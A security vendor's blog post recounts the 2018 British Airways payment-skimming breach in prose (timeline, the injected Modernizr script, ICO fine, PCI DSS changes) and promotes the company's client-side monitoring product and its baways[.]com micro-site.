TL;DR
- In 2018, through obtaining the credentials of a contractor to British Airways bad actors were able to adjust a client-side executed script to exfiltrate credit card data to an endpoint managed by bad actors, that domain is baways[.]com which as been owned by cside since 2024.
- On the baways[.]com domain you can read in clear detail, an objective timeline of the events and the aftermath.
- Following the incident the ICO intended to fine British Airways for £183 Million but later the fine was reduced to £20 million. At the time British Airways was facing difficulties due to Covid-19 which may have led to a reduced fine.
- Following the incident and many similar attacks, the PCI DSS (Payment Card Industry Data Security Standard) updated their requirements to include monitoring, securing and documenting client-side scripts.
- Today, there are a more solutions on the market to help prevent such an incident but the quality of approaches varies significantly.
Why we bought baways[.]com
Because we could. Surprisingly, even though many vendors spoke about the attack all the time, the domain used in the attack expired and was available for sale on the public market for the standard ICANN fee of $10,44 per year.
Over the years, and through marketing pages of vendors, what was being written was no longer in alignment with the facts so we set out to gather the evidence, court documents, press releases and archived pages one last time and post it in one consolidated report. On the very domain that was used in the attack.
We even hired an ex-journalist to help research the subject.
![Banner of the baways[.]com micro-site.](https://cside-blog.ghost.io/content/images/2025/12/Screenshot-2025-12-14-at-8.20.04---PM.png)
The British Airways attack timeline:
June 22, 2018: An attacker gets into British Airways' network using stolen credentials from a Swissport employee (a cargo services contractor). The account had no multi-factor authentication.
June 23-26, 2018: The attacker pokes around. They find something alarming: domain administrator credentials stored in plain text. Just sitting in a file. Unencrypted.
July 26, 2018: The attacker discovers log files containing payment card details. Also in plain text. These were from a testing feature that was never supposed to go live.
August 21 - September 5, 2018: The actual attack goes live. For 16 days, every customer who entered payment details on the BA website had their data copied and sent to baways[.]com.
September 5, 2018: British Airways gets notified by a third party. They shut it down in 90 minutes.
How the British Airways attack worked
The attacker injected malicious code into Modernizr, a common JavaScript library that helps websites work across different browsers. British Airways was serving this compromised version to all their customers.
- The malicious script waited for customers to click the payment confirmation button
- It grabbed all the payment and personal data from the form
- It sent that data to baways[.]com (which looked legitimate since BA uses "BA" in their marketing)
- The whole thing happened silently in the background
- The normal payment process continued without any issues
Why the British Airways attack went undetected by network security
The attack happened without showing any visible traces. The only way one could recognize something out of the ordinary took place was in the developer tools of the browser, in the network tab when the data was being sent out.
This attack also impacted the mobile app, which was running a webview of the web application. The webview itself had no developer tooling dashboard so in the mobile app absolutely no visible trace was left.
It would have been extremely hard, if not impossible for customers to spot their data being stolen.
The damage
In the court proceedings, the ICO (Information Commissioner's Office) released the full numbers.
| Category | Number Affected |
|---|---|
| Full card details exposed | 244,000 |
| Card + CVV exposed | 77,000 |
| Card numbers only | 108,000 |
| BA Executive Club accounts | 612 |
| Total individuals affected | 429,612 |
The ICO initially proposed a fine of £183.39 million. After negotiations, due process and financial scrutiny caused by COVID-19 upon British Airways, the fine was reduced to £20 million.
British Airways suffered significant losses and the CEO back at the time was forced to publicly apologize and assured that impacted customers would be compensated.
The fine is not the only financial impact. Multiple class action lawsuits followed, public sources estimate damages between £2,000 and £6,000 per claimant. With over 16,000 victims represented in just one lawsuit the total financial impact likely exceeded the regulatory fine even ignoring the commercial impact of damaged trust in the British Airways brand.
Why this incident still matters in 2025
The problem has only grown. Security postures of web applications are centered around actions toward the web infrastructure. New attention is invested in monitoring static open source dependencies and AI adoption in companies. But web developers and security teams still don’t know, nor have the reliable tools to verify how their web applications and its dependencies like marketing tools and open source packages behave in browsers.
Client-side runtime monitoring would have prevented the British Airways attack
This is a highly dynamic attack vector, so the only real solution to the security threat is active analysis at runtime. Regulatory compliance pressure has moved some businesses to adopt checkbox tools that use scanners/crawlers or agent-less approaches. Those are easily circumvented by the bad actor not serving the malicious payloads to those tools.
Real runtime client-side security still is not a high priority. Bad actors are aware, with significantly complex client-side attacks happening daily. Some large notable recent cases include the Bybit attack, the CoinMarketCap attack, and the Polyfill attack of 2024 which targeted over 490,000 websites using a similar script to Modernizer.
The client-side supply-chain has some extra significant challenges. Each request to a 3rd party server can make for a dynamic and different response. Constant analysis is costly, but it is the only way to manage the security posture.
What changed after the British Airways incident
Around the time of the British Airways incident, many similar incidents occurred like the Ticketmaster breach, the Newegg attack. Mastercard, Visa and American express disclosed that the largest amount of credit-card details are stolen today through malicious client-side scripts. Therefore, the response was adjusting the PCI DSS compliance framework to include client-side security across 2 new compliance requirements. 6.4.3 and 11.6.1. We wrote a detailed blogpost about them here.
Following the adjustment in PCI DSS, other industry frameworks clarified their requirements regarding supply-chain security to include client-side executed dependencies. Incidents like the Kaiser Permanente Data Leak triggered updates to HIPAA.
It is becoming increasingly table stakes to adopt client-side runtime security solutions to monitor website actions, however each compliance requirement requires their own formatted evidence. Some more centred around cookie use, others more about dataflows. However, with a solution like cside this becomes dead simple.
How cside helps
cside offers a highly flexible approach to client-side security. Whether we monitor script behaviors client-side and check the scripts more deeply on our end through client-side reporting on our engine, cside gets the full picture. It analyzes the served dependencies code in real-time helping you prevent unwanted behaviours from causing major business impact.
Our approach allows us to not only spot advanced highly targeted attacks and alert on them, cside also makes it possible to block attacks before they touch the user's browser. It also checks the box for multiple compliance frameworks, including PCI DSS 4.0.1, HIPAA, GDPR, CPRA...We even provide deep forensics, including if an attacker attempts to bypass our detections. We even store data on missed attacks allowing us to make detections better. Giving you the control you need in an easy to use format. Dealing with the limitations of browsers, we know this is the most secure way to monitor and protect your dependencies across your entire website. We've spent years in the client-side security space before we started cside. We know the limitations on browsers and invest time contributing to standards bodies to natively supported make security capabilities better and more easy to use.
Sign up or book a demo to get started.
What to do from here
If you are intrigued by the story, check out the interactive micro-site on baways[.]com. We’ve gone above and beyond to bring the story to you in an appealing format, we hope you enjoy it.
